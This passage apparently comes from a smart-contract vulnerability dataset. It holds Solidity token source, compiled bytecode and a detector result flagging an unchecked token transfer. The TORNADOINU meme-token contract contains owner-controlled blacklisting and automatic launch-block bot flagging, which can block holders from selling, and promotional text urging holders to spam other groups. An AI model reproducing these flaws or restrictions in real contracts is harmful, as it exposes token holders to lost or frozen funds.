function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a6e565b005b34156103f057600080fd5b6103f8610c69565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca2565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d2e565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610db5565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600681526020017f417274697358000000000000000000000000000000000000000000000000000081525081565b60008061067f3385610d2e565b148061068b5750600082145b151561069657600080fd5b6106a08383610f16565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d6848484611008565b90505b9392505050565b600281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a645761095f633b9aca006004546113ee565b82111561096f5760009050610a69565b6109b76000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611407565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0560045483611407565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a69565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610acc57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0757600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bac57600080fd5b5af11515610bb957600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f415258000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610cfd57600080fd5b600560009054906101000a900460ff1615610d1b5760009050610d28565b610d258383611425565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1157600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e4c57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104557600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110d257600090506113e7565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112157600090506113e7565b60008211801561115d57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561137d576111e8600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113ee565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b06000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113ee565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133a6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611407565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60008282111515156113fc57fe5b818303905092915050565b600080828401905083811015151561141b57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b15760009050611671565b6000821180156114ed57508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116075761153a6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113ee565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c46000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611407565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820172425b051c9f1e567682428d5e56a37cc90126583b30947822251aeec131bfe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,229
0x88e181526d7a49847b50b30ca5c21d7cfdc369ef
/* https://t.me/tornadoinu Stealth Launch Soon!💨💨💨 Tornado Inu is a brand new idea of community reward base inu token. Tornado inu a lethal combination of wind and power inu. Our aim is to destroy all other meme tokens. 💨 Tornado is community reward based. We require all token holders to shill tornado inu to other meme token telegram groups. Most of the tax will be shared by the token holders who shill over 10 messages to other groups. Tornado is also a deflationary token. 3% of each transaction will go to auto-burn. So, all the holders could enjoy the valuation increment by just hodling. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract TORNADOINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _tTotal = 1e10 * 10**9; uint256 private constant _MAX = ~uint256(0); uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; uint private constant _decimals = 9; uint256 private _teamFee = 9; uint256 private _previousteamFee = _teamFee; string private constant _name = "TORNADOINU"; string private constant _symbol = "TORNADOINU"; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from]); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(3).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(4); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function newPair(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (4 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function taxCollection() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c806385e8b487116100b6578063c9567bf91161006f578063c9567bf9146103cc578063cf0848f7146103e1578063d43a1a5014610401578063dd62ed3e14610416578063e6ec64ec1461045c578063f2fde38b1461047c57600080fd5b806385e8b487146103245780638da5cb5b1461034457806390d49b9d1461036c57806395d89b4114610172578063a9059cbb1461038c578063b515566a146103ac57600080fd5b806331c2d8471161010857806331c2d8471461023d5780633bbac5791461025d578063437823ec146102965780635342acb4146102b657806370a08231146102ef578063715018a61461030f57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b457806318160ddd146101e457806323b872dd14610209578063313ce5671461022957600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049c565b005b34801561017e57600080fd5b50604080518082018252600a815269544f524e41444f494e5560b01b602082015290516101ab9190611854565b60405180910390f35b3480156101c057600080fd5b506101d46101cf3660046118ce565b6104e8565b60405190151581526020016101ab565b3480156101f057600080fd5b50678ac7230489e800005b6040519081526020016101ab565b34801561021557600080fd5b506101d46102243660046118fa565b6104ff565b34801561023557600080fd5b5060096101fb565b34801561024957600080fd5b50610170610258366004611951565b610568565b34801561026957600080fd5b506101d4610278366004611a16565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a257600080fd5b506101706102b1366004611a16565b6105fe565b3480156102c257600080fd5b506101d46102d1366004611a16565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102fb57600080fd5b506101fb61030a366004611a16565b61064c565b34801561031b57600080fd5b5061017061066e565b34801561033057600080fd5b5061017061033f366004611a16565b6106a4565b34801561035057600080fd5b506000546040516001600160a01b0390911681526020016101ab565b34801561037857600080fd5b50610170610387366004611a16565b6108ff565b34801561039857600080fd5b506101d46103a73660046118ce565b610979565b3480156103b857600080fd5b506101706103c7366004611951565b610986565b3480156103d857600080fd5b50610170610a9f565b3480156103ed57600080fd5b506101706103fc366004611a16565b610b56565b34801561040d57600080fd5b50610170610ba1565b34801561042257600080fd5b506101fb610431366004611a33565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046857600080fd5b50610170610477366004611a6c565b610bdb565b34801561048857600080fd5b50610170610497366004611a16565b610c18565b6000546001600160a01b031633146104cf5760405162461bcd60e51b81526004016104c690611a85565b60405180910390fd5b60006104da3061064c565b90506104e581610cb0565b50565b60006104f5338484610e2a565b5060015b92915050565b600061050c848484610f4e565b61055e843361055985604051806060016040528060288152602001611c00602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061130d565b610e2a565b5060019392505050565b6000546001600160a01b031633146105925760405162461bcd60e51b81526004016104c690611a85565b60005b81518110156105fa576000600560008484815181106105b6576105b6611aba565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f281611ae6565b915050610595565b5050565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016104c690611a85565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6001600160a01b0381166000908152600160205260408120546104f990611347565b6000546001600160a01b031633146106985760405162461bcd60e51b81526004016104c690611a85565b6106a260006113cb565b565b6000546001600160a01b031633146106ce5760405162461bcd60e51b81526004016104c690611a85565b600c54600160a01b900460ff16156107365760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b19190611b01565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108229190611b01565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561086f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108939190611b01565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016104c690611a85565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f5338484610f4e565b6000546001600160a01b031633146109b05760405162461bcd60e51b81526004016104c690611a85565b60005b81518110156105fa57600c5482516001600160a01b03909116908390839081106109df576109df611aba565b60200260200101516001600160a01b031614158015610a305750600b5482516001600160a01b0390911690839083908110610a1c57610a1c611aba565b60200260200101516001600160a01b031614155b15610a8d57600160056000848481518110610a4d57610a4d611aba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610a9781611ae6565b9150506109b3565b6000546001600160a01b03163314610ac95760405162461bcd60e51b81526004016104c690611a85565b600c54600160a01b900460ff16610b2d5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c6565b600c805460ff60b81b1916600160b81b17905542600d819055610b519060f0611b1e565b600e55565b6000546001600160a01b03163314610b805760405162461bcd60e51b81526004016104c690611a85565b6001600160a01b03166000908152600460205260409020805460ff19169055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105fa573d6000803e3d6000fd5b6000546001600160a01b03163314610c055760405162461bcd60e51b81526004016104c690611a85565b600f811115610c1357600080fd5b600855565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016104c690611a85565b6001600160a01b038116610ca75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c6565b6104e5816113cb565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf857610cf8611aba565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d759190611b01565b81600181518110610d8857610d88611aba565b6001600160a01b039283166020918202929092010152600b54610dae9130911684610e2a565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de7908590600090869030904290600401611b36565b600060405180830381600087803b158015610e0157600080fd5b505af1158015610e15573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c6565b6001600160a01b038216610eed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c6565b6001600160a01b0382166110145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c6565b600081116110765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c6565b6001600160a01b03831660009081526005602052604090205460ff161561109c57600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110de57506001600160a01b03831660009081526004602052604090205460ff16155b80156110f45750600c54600160a81b900460ff16155b80156111245750600c546001600160a01b03858116911614806111245750600c546001600160a01b038481169116145b156112fb57600c54600160b81b900460ff166111825760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c6565b50600c546001906001600160a01b0385811691161480156111b15750600b546001600160a01b03848116911614155b80156111be575042600e54115b156112055760006111ce8461064c565b90506111ee60646111e8678ac7230489e80000600361141b565b9061149a565b6111f884836